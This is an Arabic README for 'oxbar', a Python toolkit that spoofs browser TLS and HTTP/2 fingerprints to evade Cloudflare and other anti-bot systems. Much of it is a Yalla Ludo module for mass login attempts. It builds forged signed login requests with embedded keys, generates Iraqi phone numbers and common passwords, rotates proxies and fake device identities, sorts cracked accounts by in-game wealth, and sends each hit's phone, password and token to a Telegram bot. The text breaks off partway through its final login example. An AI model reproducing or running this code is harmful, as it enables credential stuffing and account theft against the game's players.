🛡️ oxbar — مكتبة بصمات TLS و HTTP/2 للتخطي الإحترافي

Mega HTTP/2 + TLS Fingerprint Toolkit مكتبة Python ضخمة تجمع كل التقنيات والأفكار الموجودة في المشاريع المشهورة لتخطي Cloudflare و Akamai و DataDome و PerimeterX وكل الـWAFs اللي تعتمد على بصمات البروتوكول (TLS / HTTP/2 / Header order).

---

🌟 الفلسفة

لما السيرفر يبدأ يحكم عليك من البصمة مو من الـcookies أو الـsession، الحل الوحيد هو انتاج نفس البصمة بإحتراف. كل مشروع من مشاريع الـopen-source اللي حللناها ركّز على جزء واحد من المعادلة. oxbar يجمع كل الأجزاء في مكان واحد ويجعلها متّسقة ومُختبَرة.

الطبقة	المشكلة اللي يحلّها	الوحدات المعنية
TCP	حقن الخصائص الصحيحة للمتصفح	oxbar.tls.tcp_options
TLS	محاكاة Client Hello لمتصفح/تطبيق محدد	oxbar.tls
HTTP/2	محاكاة SETTINGS / WINDOW_UPDATE / PRIORITY	oxbar.h2
Headers	الترتيب الصحيح + القيم الافتراضية	oxbar.headers
Device Profile	ربط UA + model + locale + AndroidId	oxbar.fingerprint
Proxy	HTTP CONNECT, SOCKS4/5/4a, smart failover	oxbar.proxy
Cipher	AES, RSA, XOR-keystream, HMAC, custom MD5	oxbar.cipher
Transport	Fallback من curl_cffi → tls_client → h2_raw	oxbar.transport
Rate limit	Token bucket + exponential + global cooldown	oxbar.ratelimit
Cloudflare	orchestration كامل لتخطي الـBot Solutions	oxbar.cloudflare

---

📦 التنصيب

# الحد الأدنى (لب الـh2 + cipher + device profile)
pip install oxbar

# أو من المصدر
git clone https://github.com/oxbar/oxbar_project
cd oxbar_project
python -m pip install -e .

# إضافة كل الـtransports (curl_cffi + tls-client) + python-socks
pip install curl_cffi tls-client python-socks brotli orjson

اختبار فوري:

import oxbar
print(oxbar._bootstrap.summary())
# > curl_cffi+ tls_client+ httpx+ urllib3+ requests+ h2_raw+ crypto+ truststore+

---

📜 نظرة سريعة على الـAPI

import oxbar
# 1) بناء SSLContext يحاكي Chrome 124 تماماً
ctx = oxbar.chrome_124_context()

# 2) انشاء device identity
pair = oxbar.make_device_id_pair()
ua = pair.profile.user_agent

# 3) ترتيب الهيدرز بنفس ترتيب Chrome 124 (مهم جداً لـCloudflare)
hdrs = oxbar.chrome_headers({
    "user-agent": ua,
    "accept-language": "en-US,en;q=0.9",
    "cookie": "cf_clearance=xxxx",
})

# 4) أرسلها عبر أي transport متاح
from oxbar.transport import try_one
r = oxbar.try_one("https://example.org/", hdrs,
                  transport="curl_cffi",
                  timeout=15)
print(r.status, len(r.body), r.transport_name)

# 5) قياس الـJA3 / JA4 trumped
print(oxbar.ja3_estimate(ctx))
print(oxbar.ja4_estimate(ctx))

---

🧠 شرح تفصيلي لكل وحدة

0️⃣ oxbar.ludo — Bundle خاصة بـ YallaLudo 🎮

الموديل الكاملة اللي بنيتها من كل المصادر التسعة تبع Yalla Ludo و Yalla Ludo HD.

import oxbar

# 1) Host picker ذكي — يحفظ آخر host ناجح ويرتب أولاً
picker = oxbar.YallaLudoHostPicker()
picker.mark_good("httpgateway.yalla.games")
print(picker.pick_order()[0])   # 'httpgateway.yalla.games' (الأحدث أولاً)

# 2) بناء request مكتمل لكل API style
# === API الجديد (x-sign / x-medusa) ===
req = oxbar.build_login_new("7812345678", oxbar.md5u("qwer1234"))
# 15 header جاهز, body XOR-encoded JSON, hera key

# === API القديم (RSA+AES) ===
req_hd = oxbar.build_login_hd("7812345678", "qwer1234")
# blowfishstring / baseparamstring / x-unity-version

# 3) فك الرد تلقائياً
result = oxbar.process_response_new(response_bytes, req.hera)
print(result.uid, result.token, result.name, result.status)

# 4) Pipeline كامل من phone/pwd → decoded response
outcome = oxbar.yalla_combo_pipeline(
    "7812345678", "qwer1234",
    api="new", transport="h2_raw",
    proxy="http://user:pwd@proxy.example.com:8080"
)
print(outcome.status, outcome.decoded)

# 5) Pool أرقام عراقية + set مخصص لأي بلد
iraq = oxbar.IraqPrefixPool()
print(iraq.next())              # -> '7501234567'
print(oxbar.normalize_phone("+964 781 234 5678"))  # -> '7812345678'

# 6) قائمة countries الكاملة
print(oxbar.COUNTRIES["966"]["name"])   # -> 'Saudi Arabia'

# 7) Password pool سريع
pw_pool = oxbar.PasswordPool(passwords=("qwerty1234", "pass1234"))
print(pw_pool.try_one())

الثوابت المتضمنة:

• 15 host gateway للتدوير (httpgateway.* + account.yalla.games)
• 13 دولة + ISO code + name
• Iraq بـ 12 prefix و 7 digits + alt Iraq بـ 077/078/075
• 6 passwords شائعة + pool مخصص
• VERSION_NEW_API ("1.5.1.0") + VERSION_HD_API ("1.2.0.2")
• B1_KEY, B1_IV, RSA_PUBLIC_KEY_HD, GATEWAY_SECRET

0️⃣ oxbar.session — Session Manager + retry 🔐

import oxbar, time

# Cache من الـlogins الناجحة
mgr = oxbar.SessionManager(max_sessions=5000, ttl_seconds=900)
mgr.load_from_txt("result/sessions.txt")  # يحمّل من الملف

session = oxbar.LudoSession(
    phone="7812345678", uid="1234", name="Tester",
    token="abcd",
    issued_ms=int(time.time() * 1000),
    last_used_ms=int(time.time() * 1000),
)
mgr.put(session)

# الـ next time نعمل نفس الـ account, نستعمل الـtoken من الـcache
got = mgr.get("7812345678", "1234")
if got:
    print("Reuse token:", got.token)   # لا تحاول login مرة ثانية

# حفظ إلى disk
mgr.save_to_txt()

Retry decorator:

@oxbar.with_retries(attempts=4, initial_delay=0.8,
                    retry_on_status=(-1, 429, 152))
def hit_one(url):
    r = try_one(url, headers, transport="h2_raw")
    return {"status": r.status}

0️⃣ oxbar.connection — اتصال TCP + مانيجمنت 🔌

import oxbar

# فتح اتصال TLS واحد بسرعة
conn = oxbar.connection.connect(
    "httpgateway.carrstuv.com", 443,
    profile="chrome124",
    proxy="http://user:pwd@proxy:8080"
)
print(conn.selected_alpn())  # -> 'h2'
# استخدم اتصال جاهز للـH2:
h2 = oxbar.H2Client(conn.ssl_sock)
h2.connect()
status, body, headers, log = h2.post(...)
conn.close()

# Pool للتخفيف من overhead:
pool = oxbar.ConnectionPool(max_per_key=4, max_total=200)
c = pool.acquire("httpgateway.carrstuv.com", profile="chrome124")
# ... do work ...
pool.release(c)

# Budget tracking (bytes sent / recv)
budget = oxbar.NetworkBudget()
budget.record(sent=200, recv=1500)
print(budget.snapshot())
# {'requests': 1, 'bytes_sent': 200, 'bytes_recv': 1500,
#  'rps': 0.66, 'kb_sent_per_sec': 0.13}

0️⃣ oxbar.cloudflare — تخطي Cloudflare الحقيقي 🚀

import oxbar

# orchestrator عالي المستوى — يجرب كل الـstrategies بترتيب
cf = oxbar.CloudflareBypass(
    target="chrome124",
    transport_order=("curl_cffi", "tls_client", "h2_raw", "httpx"),
    browser_fallback=True,    # يستعمل Chrome حقيقي لو فشلت كل الباقي
    scraper_fallback=True,    # يستعمل cloudscraper لو CF JS challenge
    proxy="http://user:pwd@proxy:8080",
)

r = cf.get("https://my-protected-resource.example.com/")
if r.success:
    print("Bypassed via:", r.strategy_used)
    print(r.response.body.decode())

# Manual strategy:
r = oxbar.direct_no_proxy("https://...", headers,
                          body=b"...", transport="auto")

# Real browser fallback (يستخدم chromium لـHard JS challenges)
r = oxbar.chrome_browser_post("https://example.com",
                              oxbar.chrome_headers(),
                              method="POST", body=b"...")
# تستلم TransportResponse فيه x-oxbar-cookies header لاستعماله بعدين

# Cloudscraper fallback (JS challenge solver)
r = oxbar.cloudscraper_fallback("https://...", headers,
                                body=b"...", browser_hint="chrome")

استراتيجيات الفشل الترتيب:

1. protocol-level (curl_cffi → tls_client → h2_raw → httpx → urllib3 → requests)
2. direct_no_proxy (حاول بدون proxy)
3. cloudscraper (يحُل JS challenges متوسطة التعقيد)
4. chrome_browser (متصفح حقيقي headless)

0️⃣ oxbar.telegram — قوالب جاهزة لـ Telegram 🎯

4 قوالب جاهزة حسب الـsource المستخدم:

import oxbar

# 1) gg.py / 1.py / golden / check loudo style:
print(oxbar.format_mus_19oi("78123", "qwer", "X", "1234", "tok",
                            by_tag="@mus_19oi"))

# 2) gg.py alt style:
print(oxbar.format_is71s("78123", "qwer", "X", "1234", "tok",
                         by_tag="@is71s"))

# 3) gogogoggoogog style:
print(oxbar.format_b_q_5("78123", "qwer", "X", "1234", "tok",
                         by_tag="@B_Q_5"))

# 4) auto-filtered (يرسل الذهب/الجواهر/المستوى فقط لو يستحق):
print(oxbar.format_golden_bullet(
    "78123", "qwer", "X", "1234", "tok",
    level=60, gold=5_000_000, diamond=2_000, vip=True,
    by_tag="@oxbar"
))

# Auto-reason builder (same as `telegram_reasons` in source files):
reasons = oxbar.auto_reasons_hits_only({
    "goldNum": 5_000_000, "diamondNum": 2_000,
    "levelId": 60, "showNumId": "123456", "isVip": True
})
# -> ['Gold: 5000000', 'Diamond: 2000', 'ID: 123456', 'Level: 60', 'VIP:TRUE']

# أونر-كل استعمل Notifier + thread + rate-limit + retry:
cfg = oxbar.TelegramConfig(bot_token="xxx", chat_id="-100...",
                            rate_per_sec=2.0)
notifier = oxbar.TelegramNotifier(cfg=cfg)
notifier.start()
notifier.push_hit({"phone": "78", "pwd": "qwer", "name": "X",
                    "uid": "1", "token": "tok",
                    "acct": {"goldNum": 5_000_000}})
notifier.stop()

1️⃣ oxbar.tls — بصمة TLS بدقة

هذي الوحدة هي أهم جزء. JA3 و JA4 هي عبارة عن هاش للـClient Hello اللي يرسلها عميلك. الـWAFs تقارنه مع ما يجب أن يكون لمتصفح/جهاز معروف.

توفّر oxbar بصمات أصليّة لأشهر الـclients في السوق:

Profile	Source TLS	Ciphers (openssl)	TLS 1.3 suites	Curves
chrome124	BoringSSL	56 من أكواد Chrome	TLS_AES_256_GCM_SHA384 ...	X25519 + secp256/384
chrome120	BoringSSL	نفسها	نفسها	نفسها
firefox121	NSS	24 من Firefox	TLS_CHACHA20_POLY1305 ...	X25519 + secp256/384
okhttp4_android13	Conscrypt	14 من OkHttp/Conscrypt	TLS_AES_128_CCM_8	X25519 + secp256r1
edge120	BoringSSL	مثل Chrome 124	نفس Chrome	نفس Chrome
safari17	SecureTransport	18 من Apple	نفس Chrome	X25519 + secp256r1
minimal_tls13	TLS 1.3 only	1 cipher	TLS_AES_128_GCM	X25519
safe_tls12_legacy	OpenSSL legacy	Common compatible	لا شيء	X25519 / secp256r1

الاستخدام المباشر

import oxbar

ctx = oxbar.make_ssl_context("chrome124")
# __import__("socket").create_connection(("example.org", 443))
# raw = ...
# ss = ctx.wrap_socket(raw, server_hostname="example.org")
# ss.selected_alpn_protocol()  -> "h2"

# تقدر تفحص الـcipher suite و verify flags
print(ctx.options)
print(ctx.verify_flags)
print(ctx.get_ca_certs()[:1])

إضافة profile مخصّص

import oxbar, ssl
my_profile = oxbar.TLSProfile(
    name="my_custom_ios_app",
    ciphers="ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256",
    tls13_ciphers="TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256",
    alpn=("h2", "http/1.1"),
    min_version=ssl.TLSVersion.TLSv1_2,
    max_version=ssl.TLSVersion.TLSv1_3,
    curves=("X25519", "secp256r1"),
    sig_algs=("RSA+SHA256",),
    custom_options=("OP_NO_TICKET",),
)
ctx = oxbar.make_ssl_context(my_profile)

تقدير البصمة JA3 / JA4

الـPython ssl.SSLContext لا يعيد الـbytes الخاصة بالـClient Hello، لذلك تقدير البصمة هنا أوّلي — يصلح للتحقق من أن تغيّر الـcipher string يغيّر الـhash المتوقع.

ctx = oxbar.make_ssl_context("chrome124")
print(oxbar.ja3_estimate(ctx))
print(oxbar.ja4_estimate(ctx))

---

2️⃣ oxbar.h2 — عميل HTTP/2 + محاكاة الـSETTINGS

HTTP/2 fingerprinting ميزة جديدة في الـanti-bot: السيرفر يراقب ما ترسله في أول SETTINGS / WINDOW_UPDATE / PRIORITY frames. الـPython's hyper-h2 وحده يرسل قيم افتراضية (HEADER_TABLE_SIZE=4096, MAX_CONCURRENT_STREAMS=100) وبعض الـanti-bots يستخدمون هذا للكشف.

oxbar.h2 يقدّم:

• H2Client — wrapper حول hyper-h2 يبعث الـSETTINGS الصحيحة + WINDOW_UPDATE + stream priority مطابقة للمتصفح.
• دوال جاهزة لبناء الـSETTINGS frame لكل متصفح:
  • chrome_settings() -> 65536 / 0 / 1000 / 6291456 / 16384 / 262144
  • firefox_settings() -> 65536 / 0 / 100 / 131072 / 16384 / 262144
  • okhttp_settings() -> 8192 / 0 / 100 / 16777216 / 16384
• chrome_window_update() = 15663105 (Chrome يرسل هذا الرقم مباشرة بعد الـsettings ack)
• أولوية التيار: chrome_priority(), okhttp_priority()

استخدام منخفض المستوى

import socket, ssl, oxbar

raw = socket.create_connection(("www.google.com", 443), timeout=10)
ctx = oxbar.chrome_124_context()
ss = ctx.wrap_socket(raw, server_hostname="www.google.com")

c = oxbar.H2Client(ss, timeout=10)
c.connect()  # يفتح H2 ويرسل SETTINGS الصحيحة + WINDOW_UPDATE
status, body, headers, events = c.post(
    "/",
    [
        (":method", "GET"),
        (":scheme", "https"),
        (":authority", "www.google.com"),
        (":path", "/"),
        ("user-agent", oxbar.random_user_agent()),
        ("accept", "text/html"),
        ("accept-encoding", "gzip, deflate, br"),
        ("accept-language", "en-US"),
    ],
    body=None,
)
print(status, len(body), events[:5])

تصنيع إطارات يدوياً

import oxbar
settings = oxbar.H2Frame(
    frame_type=oxbar.FrameType.SETTINGS,
    flags=0,
    stream_id=0,
    payload=b"",  # encode yourself if you must
)
print(settings.serialize())  # أول 9 bytes هيدر، باقي باي لود

---

3️⃣ oxbar.fingerprint — هوية الجهاز

السيرفر لا يحكم عليك من الـTLS فقط، بل يأخذ الكل كقطعة واحدة:

• الـUser-Agent: منصة الإصدار وال OS.
• الموديل + الـdeviceName المبلّغ عنها في الـJSON body.
• الـAndroidId + الـshuMengId + الـnonce + الـhera key.
• الـlocale + الـcountry / region.
• الـTraceparent + الـBaggage (لتطبيقات تستخدم OpenTelemetry).

oxbar.fingerprint يحزم هذه كلّها في DeviceProfile + DeviceIdPair:

import oxbar

# 1) pool من الأجهزة الواقعية (Samsung, Xiaomi, Pixel, OnePlus, Honor...)
android = oxbar.android_devices()
print(android[0])
# DeviceProfile(model='BRP-NX1', manufacturer='HONOR',
#   device_name='HONOR BRP-NX1', os_version=36, build=1050105,
#   user_agent='YallaLudo-1.5.1.0-(Build 1050105)-Android 36')

# 2) عشوائي مختار بذكاء (iPhone 16% من الوقت)
dev = oxbar.random_device()
print(dev.user_agent)

# 3) Bundle كامل (UA، AndroidId، shuMengId، nonce، hera)
pair = oxbar.make_device_id_pair()
print(pair.device_id, pair.android_id, pair.shumeng_id, pair.hera)

إنشاء بريد إلكتروني مزيّف

import oxbar

# بناء الـx-baggage لتطبيق يستخدم OpenTelemetry
dt = oxbar.now_ts_ms()
android_id = oxbar.generate_android_id()
shumeng = oxbar.generate_shumeng_id()
nonce = oxbar.random_nonce()
dev = oxbar.random_android()

b64 = oxbar.random_hera_baggage(
    dt_ms=dt, d=dev,
    android_id=android_id, shumeng_id=shumeng,
    nonce=nonce, version="1.5.1.0",
    sim_country="IQ", phone_country="IQ"
)
print(b64)

الـDevicePool — للتدوير بين الأجهزة

pool = oxbar.DevicePool()
for _ in range(5):
    print(next(pool).user_agent)

---

4️⃣ oxbar.headers — ترتيب الـheaders الخاص بكل fingerprint

أكبر خطأ يرتكبه مبرمجو الـscrapers هو إرسال الـheaders بالترتيب الأبجدي أو بترتيب الـrequests/httpx الافتراضي. هذا يكشفهم للحال. Cloudflare و Akamai يسرّحون الـUA + اسم المتصفح = رفض فوري

oxbar.headers يحتوي على canonical header orderings لـ:

• chrome124 (15 header مرتّب)
• firefox121 (13 header مرتّب)
• okhttp4_android13 (4 header مرتّب)
• yalla_ludo / yalla_ludo_hd (15+7 header)
• mobile_unity (Unity 2022.3.62f1c1)
• تخصيص الـheaders مع overrides

import oxbar

hd = oxbar.chrome_headers({
    "user-agent": oxbar.random_user_agent(),
    "accept-language": "en-US,en;q=0.9",
})
print(hd)
# [('host', 'example.com'), ('connection', 'keep-alive'),
#  ('sec-ch-ua', '"Chromium"...'), ('sec-ch-ua-mobile', '?0'),
#  ..., ('accept-language', 'en-US,en;q=0.9')]

القوالب المُعتمدة:

# المتصفحات
oxbar.chrome_headers({"user-agent": "..."})
oxbar.firefox_headers({"user-agent": "..."})
oxbar.okhttp4_android13_headers({"user-agent": "okhttp/4.12.0"})

# تطبيقات الموبايل
oxbar.yalla_ludo_headers({"user-agent": "...", "x-hera": "..."})
oxbar.yalla_ludo_hd_headers({...})
oxbar.mobile_unity_headers({...})

الـdrop_empty policy: لا نُرسل headers فارغة تلقائياً (Cloudflare يلاحظ لو أرسلت x-hera: فارغة).

---

5️⃣ oxbar.proxy — كل أنواع البروكسيات مع smart failover

أنواع البروكسيات المدعومة

Scheme	مصادقة	Fallback	القسم
http://, https://	Basic auth	pure Python	open_through_proxy
socks5://, socks5h://	yes	python_socks or pure Python	open_socks5
socks4://, socks4a://	none	python_socks or pure Python	open_socks4

from oxbar.proxy import parse_proxy_url, open_through_proxy

spec = parse_proxy_url("http://user:pass@1.2.3.4:8080")
raw_sock = open_through_proxy(spec, "tunnel-host.example.com",
                              target_port=443, timeout=15)
# raw_sock جاهز ليتم عمل TLS / H2 فوقه

SmartProxy — failover مرتّب

SmartProxy يجمع قائمة بروكسيات ويحتفظ بإحصائيات (نجاحات / إخفاقات / متوسط وقت). عند كل عملية، يقدّم المرشحين بترتيب الأفضل أولاً.

from oxbar.proxy import SmartProxy

sp = SmartProxy([
    "http://p1.example.com:8080",
    "http://p2.example.com:8080",
    "socks5://p3.example.com:1080",
])

while True:
    for proxy in sp.candidates():
        try:
            open_through_proxy(proxy, "...", 443)
            sp.feedback(proxy, success=True, latency_ms=120)
            break
        except Exception:
            sp.feedback(proxy, success=False)

ProxyRotator — اختيار عشوائي موزون

ProxyRotator يختار بروكسي بناءً على success-rate و availability.

rot = oxbar.ProxyRotator(["http://p1:80", "http://p2:80", "http://p3:80"])
proxy = rot.pick()
# ... open socket ...
rot.feedback(proxy, success=True, latency_ms=80)

---

6️⃣ oxbar.cipher — كل الـcrypto اللي تحتاجه

خوارزميات مغطّاة:

الخوارزمية	الاستخدام النموذجي
AES-CBC (PKCS7)	الـpayload الرئيسي في معظم APIs
AES-ECB	ميدوسا x-medusa header token
AES-GCM	المستقبل / أحياناً OK
RSA-OAEP / PKCS1v15	encrypted AES key في blowfishstring
XOR keystream	طبقة الـYallaLudo Payment
HMAC-SHA256	x-sign = 2.0_2_<hmac>
Custom MD5	md5(hera+secret) كـkey لـXOR

أمثلة:

import oxbar, hashlib

# XOR round-trip
plain = b"secret message\n{\"foo\":1}"
ct = oxbar.xor_encrypt(plain, "hera_abc123", secret="L3)qk*@8")
assert oxbar.xor_decrypt(ct, "hera_abc123") == plain

# AES CBC round-trip
key = b"\x10" * 16
iv  = b"\x00" * 16
ct  = oxbar.aes_cbc_encrypt(b"secret!", key, iv)
pt  = oxbar.aes_cbc_decrypt(ct, key, iv)
assert pt == b"secret!"

# medusa token (الـ x-medusa header)
hera = "0123456789abcdef0123456789abcdef"
signed_bytes = b"/api/loginPOSTua1234xxxxxx"
medusa = oxbar.medusa_token(
    signed_bytes, hera,
    b1_key=b"4e82797b276c5cb729db62aaa229a057",
    b1_iv=b"0102030405060708",
)
print(medusa)

سيناريو YallaLudo كامل (login via cloud gateway)

import oxbar, base64, json, time

T = oxbar.now_ts_ms()
hera = oxbar.generate_hera()
plain = json.dumps({
    "mobile": "7812345678",
    "areaCode": "964",
    "languageId": 2,
    "password": oxbar.md5u("qwer1234"),
    "nationalityId": "1",
    # ...
}, separators=(",", ":"))
body = base64.b64encode(oxbar.xor_encrypt(plain.encode(), hera)).decode()
bag = oxbar.random_hera_baggage(T, oxbar.random_android(),
                                 android_id=oxbar.generate_android_id(),
                                 shumeng_id=oxbar.generate_shumeng_id(),
                                 nonce=oxbar.random_nonce(),
                                 version="1.5.1.0")
signed = ("/api/LudoAccountLoginRpcApiProxy/MobileAccountLogin"
          + "YallaLudo-1.5.1.0-(Build 1050105)-Android 36" + bag).encode()
x_sign   = oxbar.sign_payload(signed, hera)        # "2.0_2_<hmac>"
x_medusa = oxbar.medusa_token(signed, hera,
                              b1_key=b"4e82797b276c5cb729db62aaa229a057",
                              b1_iv=b"0102030405060708")
print(x_sign, x_medusa, bag)

---

7️⃣ oxbar.transport — multi-backend orchestrator

هذي الوحدة تجمع الكل: تأخذ أفضل backend متاح في بيئتك وتجرب واحداً واحداً

Backend المثبتة على الجهاز:

import oxbar
print(oxbar._bootstrap.summary())
# > curl_cffi+ tls_client- httpx+ urllib3+ requests+ h2_raw+ crypto+ truststore+

إرسال POST عبر backend محدد

import oxbar
r = oxbar.try_one(
    "https://httpbin.org/post",
    oxbar.chrome_headers({"user-agent": oxbar.random_user_agent()}),
    body=b'{"hi":1}',
    transport="auto",  # أو "curl_cffi" / "h2_raw" / "tls_client" / ...
)
print(r.status, r.transport_name, repr(r.body)[:80])

إرسال POST عبر كل الـbackends حتى نجاح

import oxbar
stack = oxbar.TransportStack.from_env()
r = stack.post(
    "https://example.com/login",
    oxbar.yalla_ludo_headers({"x-hera": "..."}),
    body=b"...",
    ok_codes=(200, 152),  # 152 = wrong password, still useful
)

تخصيص ترتيب الـbackends

import oxbar
stack = oxbar.TransportStack.from_env()
# فضّل curl_cffi ومن ثم الـraw
stack.backends = [b for b in stack.backends
                  if b.name in ("curl_cffi", "h2_raw", "tls_client")]

إضافة transport مخصّص

from oxbar.transport import Transport, TransportStack, TransportResponse

class MyCloudfrontBackend(Transport):
    name = "cloudfront_waf"

    def post(self, url, headers, body=None, *, timeout=15, proxy=None):
        ...

stack = oxbar.TransportStack.from_env()
stack.backends.append(MyCloudfrontBackend())

---

8️⃣ oxbar.ratelimit — back-pressure

TokenBucket — حد أقصى للـRPS

import oxbar, threading

bucket = oxbar.TokenBucket(rate_per_sec=20, capacity=5)

def worker():
    while True:
        bucket.wait_and_consume()
        send_request()

threads = [threading.Thread(target=worker, daemon=True) for _ in range(20)]
[t.start() for t in threads]

ExponentialBackoff — إعادة المحاولة بذكاء

import oxbar
backoff = oxbar.ExponentialBackoff(base_sec=1.0, max_sec=30.0)

while True:
    try:
        do_request()
        backoff.on_success()
        break
    except Exception:
        backoff.sleep()

GlobalCooldown — park جميع الـworkers

import oxbar
cooldown = oxbar.GlobalCooldown(cooldown_sec=10.0)

def worker():
    while True:
        cooldown.wait_or_proceed()    # park if Cloudflare yelled at us
        try:
            send_request()
        except CFBlocked:
            cooldown.enter_cooldown()

PerHostCooldown — host واحد فقط هو اللي عانى

import oxbar
cooldown = oxbar.PerHostCooldown(cooldown_sec=15.0)

def request(host):
    cooldown.wait_or_proceed(host)
    try:
        ...
    except RateLimited:
        cooldown.enter_cooldown(host)

---

9️⃣ oxbar.result — النتائج + التصنيف + منع التكرار

Hit + كتابة آمنة بـthreads

import oxbar
writer = oxbar.ResultWriter(combo_file="result/hits.txt")

hit = oxbar.Hit(
    country="Iraq (+964)",
    phone="7812345678", pwd="qwer1234",
    name="Tester", uid="123456", token="abc",
    level=20, level_id=20, vip=False,
    gold=100_000, diamond=300,
    show_num_id="123456",
)
writer.write_hit(hit)
writer.write_bad("78FAIL0000", "wrongpass")

CategorizedHitWriter — يقوم بـauto-bucketing

يماثل بدقة منطق الـ1.py/golden (2).py/gg.py:

import oxbar
cat_writer = oxbar.CategorizedHitWriter(base_dir="result")

cat_writer._append_init_dirs()

hit = oxbar.Hit("Iraq (+964)", "7812345678", "qwer1234",
                 "Tester", "123456", "abc",
                 gold=2_000_000, diamond=400, level_id=42,
                 vip=True, show_num_id="123456")
cat_writer.save_hit(hit)
# أكتب في:
#   result/HITS_GOLD/1m_10m.txt
#   result/HITS_DIAMOND/less_500.txt
#   result/HITS_LEVEL/20_35.txt
#   result/SHOW_NUM_ID/showNumId_6.txt
#   result/HITS_VIP/vip.txt

التصنيفات المعتمدة

oxbar.categorize_gold(8_500)         # -> 'less_100k'
oxbar.categorize_gold(1_500_000)     # -> '1m_10m'
oxbar.categorize_diamond(600)        # -> '500_1k'
oxbar.categorize_level(45)           # -> '35_50'
oxbar.show_num_id_digits("00123456") # -> 5

---

🔟 oxbar.telegram — إشعارات HIT تلقائية

import oxbar
cfg = oxbar.load_telegram_config()  # telegram.json if exists
cfg.bot_token = "xxxxx"
cfg.chat_id   = "-100..."
oxbar.save_telegram_config(cfg)

notifier = oxbar.TelegramNotifier(cfg=cfg)
notifier.start()

# background thread sends your messages
notifier.push_hit({
    "country": "Iraq (+964)",
    "phone":   "7812345678",
    "pwd":     "qwer1234",
    "name":    "MusTest",
    "uid":     "123456",
    "token":   "abc",
}, extra_reasons=["Gold: 5,000,000", "VIP: TRUE"], by_tag="@you")

notifier.stop()

---

1️⃣1️⃣ oxbar.cloudflare — orchestration نهائي

أعلى نقطة في الـabstraction:

import oxbar
cf = oxbar.CloudflareBypass(
    target="chrome124",
    transport_order=("curl_cffi", "tls_client", "h2_raw", "httpx"),
    accepted_status=(200, 304),
    proxy="http://p1.example.com:8080",
)

r = cf.get("https://my-protected-resource.example.com/")
if r.success:
    html = r.response.body.decode("utf-8", "ignore")
    print(html[:400])
else:
    print("even with all transports we hit a block:", r.note)

بناء طلب متّسق (TLS + headers + transport)

req = oxbar.build_coherent_request(
    "https://example.com",
    target="chrome124",
    overrides={"user-agent": "...", "cookie": "..."},
)
# req.tls_profile, req.headers, req.body, req.transport

الكشف الفوري

status = 403
headers = {"server": "cloudflare", "cf-ray": "..."}
is_cf_challenge = oxbar.is_cloudflare_challenge(status, headers)
cf_meta = oxbar.parse_cf_headers(headers)  # -> {"server": "cloudflare", "cf-ray": "..."}

---

1️⃣2️⃣ oxbar.cli — dashboard ترمنال

from oxbar.cli import DashboardRenderer
import time, threading

d = oxbar.DashboardRenderer(period_sec=0.7)
d.start()
d.set(target="Yalla Ludo", mode="Random", threads=200, total=0, hit=0)
try:
    while True:
        # ... do work ...
        d.set(total=total, hit=hits, bad=bads, error=errs,
              rps=rps, cpm=cpm)
except KeyboardInterrupt:
    d.stop()

• C يحتوي على كل أكواد الألوان (bg, fg, bold).
• truncate_line — يقطع النص مع احترام أكواد ANSI.
• print_logo — لوغو ASCII لطيف للـCLI.

---

1️⃣3️⃣ oxbar.utils — أدوات سريعة

import oxbar
oxbar.random_user_agent()            # Chrome Realistic UA
oxbar.random_str(32)                 # صرف عشوائي
oxbar.now_ms()                       # 1718182381838
oxbar.base64url_encode(b"...")
oxbar.base64url_decode("...")
oxbar.to_int("1234")                 # -> 1234
oxbar.to_bool("false")               # -> False
oxbar.format_num(3.0)                # -> "3"
oxbar.extract_dict_path(obj, ("token", "user"))  # nested-key search

---

🧪 الاختبارات

PYTHONPATH=. python3 test_oxbar.py

النتيجة: 22/22 tests passed.

---

❓ متى تستخدم كل transport؟

السيناريو	الـTransport الأفضل	السبب
Chrome-points Cloudflare + IP ميت	curl_cffi (chrome124)	أكثر بصمة موثوقة, يدعم H2
OkHttp endpoints, ALPN h2	tls_client	بصمة OkHttp 4 جاهزة
HTTP/2 بدقة (multi-frame)	h2_raw (h2.SETTINGS chrome124)	تحكم كامل
IP محلي فقط، بدون TLS fingerprinting	requests / httpx (http2)	اختبار سريع
Mass parallel (>200 RPS)	urllib3	overhead منخفض
بدون أي deps زائدة	h2_raw + urllib3	h2 + urllib3 غالباً مُثبّتان

---

🏗️ كيف تختار بصمتك؟

الهدف	الـProfile الموصى به	الـFingerprint
Cloudflare Bot Solutions (Chrome-like)	chrome124	oxbar.chrome_headers + chrome_124_context
Cloudflare Bot Solutions (Firefox-like)	firefox121	oxbar.firefox_headers + firefox_context
Akamai Bot Manager Mobile SDK	okhttp4_android13	okhttp4_android13_headers
Apps in Yalla, mobile games	yalla_ludo (1.5.x)	yalla_ludo_headers + custom cipher
Ludo HD / Unity	yalla_ludo_hd	yalla_ludo_hd_headers

---

⚙️ المثال الكامل: YallaLudo Login

import oxbar, base64, json, time, urllib.parse, os

################ CNP (cloud gateway) #########################
def yalla_login(mobile: str, password_md5: str,
                xy: str = "964") -> dict:
    T   = oxbar.now_ts_ms()
    dev = oxbar.random_android()
    hera    = oxbar.generate_hera()
    bag     = oxbar.random_hera_baggage(
        T, dev, android_id=oxbar.generate_android_id(),
        shumeng_id=oxbar.generate_shumeng_id(),
        nonce=oxbar.random_nonce(), version="1.5.1.0",
    )
    plaintext = json.dumps({
        "mobile": mobile, "areaCode": xy,
        "password": password_md5, "languageId": 2,
        "nationalityId": "1",
        "hostConfig": [],
        "simCountry": "IQ", "version": "1.5.1.0",
        "deviceId":   oxbar.random_hera(),
        "deviceName": dev.device_name, "deviceType": 2,
        "downloadChannelId": 1,
        "shuMengId":  oxbar.generate_shumeng_id(),
        "nonce":      oxbar.random_nonce(),
        "plateType":  0, "phoneModel": dev.model,
        "X-Phone-Country": "IQ", "X-Sim-Country": "IQ",
        "AndroidId":  oxbar.generate_android_id(),
        "IsSubpackages": 0, "appType": 0, "idfa": ""
    }, separators=(",", ":"))
    body_str = base64.b64encode(oxbar.xor_encrypt(plaintext.encode(), hera)).decode()
    payload  = json.dumps({"paramJsonString": body_str}, separators=(",", ":")).encode()
    path     = "/api/LudoAccountLoginRpcApiProxy/MobileAccountLogin"
    ua       = dev.user_agent
    signed   = (path + ua + bag).encode()
    hdrs = [
        ("traceparent",    oxbar.random_traceparent()),
        ("baggage",        "service.name=ludo"),
        ("user-agent",     ua),
        ("userid",         "0"),
        ("accessid",       oxbar.md5u("0")),
        ("x-app-id",       "ludo"),
        ("x-baggage",      bag),
        ("x-access-token", ""),
